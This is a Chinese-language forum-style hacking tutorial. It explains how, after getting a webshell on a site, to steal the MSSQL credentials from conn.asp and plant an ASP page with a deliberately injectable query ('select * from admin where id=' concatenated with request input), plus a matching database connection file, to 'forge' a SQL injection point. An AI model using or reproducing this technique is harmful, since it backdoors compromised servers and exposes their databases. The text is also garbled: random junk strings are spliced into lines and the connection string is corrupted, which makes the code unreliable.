首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:+ p1 }+ R9 L6 b- x. d
ASP/Visual Basic代码; \3 U& k3 {- i3 a6 ]! d8 k l
<!--#include file="xx.asp"--> 5 i0 L7 u, J) R# u" O
<% 5 {; f- w+ [% U* A- E
set rs=server.createobject("ADODB.recordset") 5 ^6 P& p9 |! t, B* T7 ?
id = request("id") ! s) B( G/ D& d: m
strSQL = "select * from admin where id=" & id
' B3 o _0 u# Q5 y" mrs.open strSQL,conn,1,3 ' A& Q! e% L$ @
rs.close
6 d- ?# M* h" g4 \%> , d- u6 x6 R6 K, ?3 {, j$ y
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!+ B/ s2 e: K5 \
然后就要构造一个连接数据库的文件了,代码如下:
5 _& ~/ ~/ Z7 SASP/Visual Basic代码; N6 O, Z0 N# e5 T
<% 5 K4 x3 \# n" D* r& a: W+ ] w
strSQLServerName = "000.000.000.000" '服务器名称或地址
) m, G- Z! t3 k2 R4 ]strSQLDBUserName = "sqlname" '数据库帐号
0 C# ], p3 X( Z6 W$ o; PstrSQLDBPassword = "sqlpass" '数据库密码 0 C+ _: o0 G4 C) y! u
strSQLDBName = "sqldataname" '数据库名称 + k5 P3 ~- p& F6 P* F7 c* G
Set conn = Server.CreateObject("ADODB.Connection")
3 |* u; I R9 c, `8 Q; F, vstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
$ \3 \9 U" H5 v8 a, h+ n' L H1 Fconn.open strCon
8 ? B3 d( O' X R( |9 l%>
, k3 V7 ^& j( m$ H3 V5 Q这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功3 t7 {3 P N5 c: L: i
|